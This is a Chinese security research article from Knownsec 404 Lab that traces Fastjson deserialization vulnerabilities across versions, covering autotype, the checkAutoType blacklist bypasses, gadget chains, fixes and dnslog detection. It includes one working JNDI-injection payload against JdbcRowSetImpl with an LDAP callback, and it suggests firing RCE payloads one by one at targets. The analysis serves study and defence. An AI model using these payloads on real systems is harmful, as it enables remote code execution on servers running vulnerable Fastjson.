作者：Longofo@知道创宇404实验室
时间：2020年4月27日
原文地址：https://paper.seebug.org/1192/
英文版本：https://paper.seebug.org/1193/
Fastjson没有cve编号，不太好查找时间线，一开始也不知道咋写，不过还是慢慢写出点东西，幸好fastjson开源以及有师傅们的一路辛勤记录。文中将给出与Fastjson漏洞相关的比较关键的更新以及漏洞时间线，会对一些比较经典的漏洞进行测试及修复说明，给出一些探测payload，rce payload。
可以参考下@Lucifaer师傅写的fastjson流程分析，这里不写了，再写篇幅就占用很大了。文中提到fastjson有使用ASM生成的字节码，由于实际使用中很多类都不是原生类，fastjson序列化/反序列化大多数类时都会用ASM处理，如果好奇想查看生成的字节码，可以用idea动态调试时保存字节文件：
插入的代码为：
生成的类：
但是这个类并不能用于调试，因为fastjson中用ASM生成的代码没有linenumber、trace等用于调试的信息，所以不能调试。不过通过在Expression那个窗口重写部分代码，生成可用于调式的bytecode应该也是可行的（我没有测试，如果有时间和兴趣，可以看下ASM怎么生成可用于调试的字节码）。
首先用多个版本测试下面这个例子：
说明：
这里的@type就是对应常说的autotype功能，简单理解为fastjson会自动将json的<code>key:value</code>值映射到@type对应的类中
样例User类的几个方法都是比较普通的方法，命名、返回值也都是常规的符合bean要求的写法，所以下面的样例测试有的特殊调用不会覆盖到，但是在漏洞分析中，可以看到一些特殊的情况
parse用了四种写法，四种写法都能造成危害（不过实际到底能不能利用，还得看版本和用户是否打开了某些配置开关，具体往后看）
样例测试都使用jdk8u102，代码都是拉的源码测，主要是用样例说明autotype的默认开启、checkautotype的出现、以及黑白名白名单从哪个版本开始出现的过程以及增强手段
这应该是最原始的版本了（tag最早是这个），结果：
下面对每个结果做一个简单的说明
在指定了@type的情况下，自动调用了User类默认构造器，User类对应的setter方法（setAge，setName）,最终结果是User类的一个实例，不过值得注意的是public sex被成功赋值了，private address没有成功赋值，不过在1.2.22, 1.1.54.android之后，增加了一个SupportNonPublicField特性，如果使用了这个特性，那么private address就算没有setter、getter也能成功赋值，这个特性也与后面的一个漏洞有关。注意默认构造方法、setter方法调用顺序，默认构造器在前，此时属性值还没有被赋值，所以即使默认构造器中存在危险方法，但是危害值还没有被传入，所以默认构造器按理来说不会成为漏洞利用方法，不过对于内部类那种，外部类先初始化了自己的某些属性值，但是内部类默认构造器使用了父类的属性的某些值，依然可能造成危害。
可以看出，从最原始的版本就开始有autotype功能了，并且autotype默认开启。同时ParserConfig类中还没有黑名单。
在指定了@type的情况下，自动调用了User类默认构造器，User类对应的setter方法（setAge，setName）以及对应的getter方法（getAge，getName），最终结果是一个字符串。这里还多调用了getter（注意bool类型的是is开头的）方法，是因为parseObject在没有其他参数时，调用了<code>JSON.toJSON(obj)</code>，后续会通过gettter方法获取obj属性值：
在指定了@type的情况下，这种写法和第一种<code>JSON.parse(serializedStr)</code>写法其实没有区别的，从结果也能看出。
在指定了@type的情况下，自动调用了User类默认构造器，User类对应的setter方法（setAge，setName），最终结果是User类的一个实例。这种写法明确指定了目标对象必须是User类型，如果@type对应的类型不是User类型或其子类，将抛出不匹配异常，但是，就算指定了特定的类型，依然有方式在类型匹配之前来触发漏洞。
对于上面User这个类，测试结果和1.1.157一样，这里不写了。
到这个版本autotype依然默认开启。不过从这个版本开始，fastjson在ParserConfig中加入了denyList，一直到1.2.24版本，这个denyList都只有一个类（不过这个java.lang.Thread不是用于漏洞利用的）：
测试结果是抛出出了异常：
从1.2.25开始，autotype默认关闭了，对于autotype开启，后面漏洞分析会涉及到。并且从1.2.25开始，增加了checkAutoType函数，它的主要作用是检测@type指定的类是否在白名单、黑名单（使用的startswith方式）
以及目标类是否是两个危险类（Classloader、DataSource）的子类或者子接口，其中白名单优先级最高，白名单如果允许就不检测黑名单与危险类，否则继续检测黑名单与危险类：
增加了黑名单类、包数量，同时增加了白名单，用户还可以调用相关方法添加黑名单/白名单到列表中：
后面的许多漏洞都是对checkAutotype以及本身某些逻辑缺陷导致的漏洞进行修复，以及黑名单的不断增加。
与1.2.25一样，默认不开启autotype，所以结果一样，直接抛autotype未开启异常。
从这个版本开始，将denyList、acceptList换成了十进制的hashcode，使得安全研究难度变大了（不过hashcode的计算方法依然是公开的，假如拥有大量的jar包，例如maven仓库可以爬jar包下来，可批量的跑类名、包名，不过对于黑名单是包名的情况，要找到具体可利用的类也会消耗一些时间）：
checkAutotype中检测也做了相应的修改：
从1.2.25到1.2.61之前其实还发生了很多绕过与黑名单的增加，不过这部分在后面的漏洞版本线在具体写，这里写1.2.61版本主要是说明黑名单防御所做的手段。在1.2.61版本时，fastjson将hashcode从十进制换成了十六进制：
不过用十六进制表示与十进制表示都一样，同样可以批量跑jar包。在1.2.62版本为了统一又把十六进制大写：
再之后的版本就是黑名单的增加了
下面漏洞不会过多的分析，太多了，只会简单说明下以及给出payload进行测试与说明修复方式。
从上面的测试中可以看到，1.2.24及之前没有任何防御，并且autotype默认开启，下面给出那会比较经典的几个payload。
payload：
测试（jdk=8u102，fastjson=1.2.24）：
结果：
触发原因简析：
JdbcRowSetImpl对象恢复->setDataSourceName方法调用->setAutocommit方法调用->context.lookup(datasourceName)调用
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl利用链
TemplatesImpl对象恢复->JavaBeanDeserializer.deserialze->FieldDeserializer.setValue->TemplatesImpl.getOutputProperties->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance->通过defineTransletClasses，newInstance触发我们自己构造的class的静态代码块
简单说明：
这个漏洞需要开启SupportNonPublicField特性，这在样例测试中也说到了。因为TemplatesImpl类中<code>_bytecodes</code>、<code>_tfactory</code>、<code>_name</code>、<code>_outputProperties</code>、<code>_class</code>并没有对应的setter，所以要为这些private属性赋值，就需要开启SupportNonPublicField特性。具体这个poc构造过程，这里不分析了，可以看下廖大师傅的这篇，涉及到了一些细节问题。
1.2.24之前没有autotype的限制，从1.2.25开始默认关闭了autotype支持，并且加入了checkAutotype，加入了黑名单+白名单来防御autotype开启的情况。在1.2.25到1.2.41之间，发生了一次checkAutotype的绕过。
下面是checkAutoType代码：
在上面做了四个位置标记，因为后面几次绕过也与这几处位置有关。这一次的绕过是走过了前面的1，2，3成功进入位置4加载目标类。位置4 loadclass如下：
去掉了className前后的<code>L</code>和<code>;</code>，形如<code>Lcom.lang.Thread;</code>这种表示方法和JVM中类的表示方法是类似的，fastjson对这种表示方式做了处理。而之前的黑名单检测都是startswith检测的，所以可给@type指定的类前后加上<code>L</code>和<code>;</code>来绕过黑名单检测。
这里用上面的JdbcRowSetImpl利用链：
测试（jdk8u102，fastjson 1.2.41）：
在1.2.42对1.2.25~1.2.41的checkAutotype绕过进行了修复，将黑名单改成了十进制，对checkAutotype检测也做了相应变化：
黑名单改成了十进制，检测也进行了相应hash运算。不过和上面1.2.25中的检测过程还是一致的，只是把startswith这种检测换成了hash运算这种检测。对于1.2.25~1.2.41的checkAutotype绕过的修复，就是红框处，判断了className前后是不是<code>L</code>和<code>;</code>，如果是，就截取第二个字符和到倒数第二个字符。所以1.2.42版本的checkAutotype绕过就是前后双写<code>LL</code>和<code>;;</code>，截取之后过程就和1.2.25~1.2.41版本利用方式一样了。
用上面的JdbcRowSetImpl利用链：
测试（jdk8u102，fastjson 1.2.42）:
1.2.43对于1.2.42的绕过修复方式：
在第一个if条件之下（<code>L</code>开头，<code>;</code>结尾），又加了一个以<code>LL</code>开头的条件，如果第一个条件满足并且以<code>LL</code>开头，直接抛异常。所以这种修复方式没法在绕过了。但是上面的loadclass除了<code>L</code>和<code>;</code>做了特殊处理外，<code>[</code>也被特殊处理了，又再次绕过了checkAutoType：
<code>{"rand1":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true]}}</code>
测试（jdk8u102，fastjson 1.2.43）:
1.2.44版本修复了1.2.43绕过，处理了<code>[</code>：
删除了之前的<code>L</code>开头、<code>;</code>结尾、<code>LL</code>开头的判断，改成了<code>[</code>开头就抛异常，<code>;</code>结尾也抛异常，所以这样写之前的几次绕过都修复了。
<code>ver&gt;=1.2.45&ver&lt;1.2.46</code>
这两个版本期间就是增加黑名单，没有发生checkAutotype绕过。黑名单中有几个payload在后面的RCE Payload给出，这里就不写了
这个版本发生了不开启autotype情况下能利用成功的绕过。解析一下这次的绕过：
利用到了<code>java.lang.class</code>，这个类不在黑名单，所以checkAutotype可以过
这个<code>java.lang.class</code>类对应的deserializer为MiscCodec，deserialize时会取json串中的val值并load这个val对应的class，如果fastjson cache为true，就会缓存这个val对应的class到全局map中
如果再次加载val名称的class，并且autotype没开启（因为开启了会先检测黑白名单，所以这个漏洞开启了反而不成功），下一步就是会尝试从全局map中获取这个class，如果获取到了，直接返回
这个漏洞分析已经很多了，具体详情可以参考下这篇
测试（jdk8u102，fastjson 1.2.47）：
在1.2.48修复了1.2.47的绕过，在MiscCodec，处理Class类的地方，设置了cache为false：
在1.2.48到最新版本1.2.68之间，都是增加黑名单类。
1.2.68是目前最新版，在1.2.68引入了safemode，打开safemode时，@type这个specialkey完全无用，无论白名单和黑名单，都不支持autoType了。
在这个版本中，除了增加黑名单，还减掉一个黑名单：
这个减掉的黑名单，不知道有师傅跑出来没，是个包名还是类名，然后能不能用于恶意利用，反正有点奇怪。
比较常用的探测Fastjson是用dnslog方式，探测到了再用RCE Payload去一个一个打。同事说让搞个能回显的放扫描器扫描，不过目标容器/框架不一样，回显方式也会不一样，这有点为难了...，还是用dnslog吧。
目前fastjson探测比较通用的就是dnslog方式去探测，其中Inet4Address、Inet6Address直到1.2.67都可用。下面给出一些看到的payload（结合了上面的rand:{}这种方式，比较通用些）：
之前没有收集关于fastjson的payload，没有去跑jar包....，下面列出了网络上流传的payload以及从marshalsec中扣了一些并改造成适用于fastjson的payload，每个payload适用的jdk版本、fastjson版本就不一一测试写了，这一通测下来都不知道要花多少时间，实际利用基本无法知道版本、autotype开了没、用户咋配置的、用户自己设置又加了黑名单/白名单没，所以将构造的Payload一一过去打就行了，基础payload：
下面是个小脚本，可以将基础payload转出各种绕过的变形态，还增加了<code>\u</code>、<code>\x</code>编码形式：
例如JdbcRowSetImpl结果：
有些师傅也通过扫描maven仓库包来寻找符合jackson、fastjson的恶意利用类，似乎大多数都是在寻找jndi类型的漏洞。对于跑黑名单，可以看下这个项目，跑到1.2.62版本了，跑出来了大多数黑名单，不过很多都是包，具体哪个类还得去包中一一寻找。
https://paper.seebug.org/994/#0x03
https://paper.seebug.org/1155/
https://paper.seebug.org/994/
https://paper.seebug.org/292/
https://paper.seebug.org/636/
https://www.anquanke.com/post/id/182140#h2-1
https://github.com/LeadroyaL/fastjson-blacklist
http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/#v1-2-47
http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/
http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
http://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog/#0x03-%E6%96%B9%E6%B3%95%E4%BA%8C-%E5%88%A9%E7%94%A8java-net-InetSocketAddress
https://xz.aliyun.com/t/7027#toc-4
https://zhuanlan.zhihu.com/p/99075925
...
太多了，感谢师傅们的辛勤记录。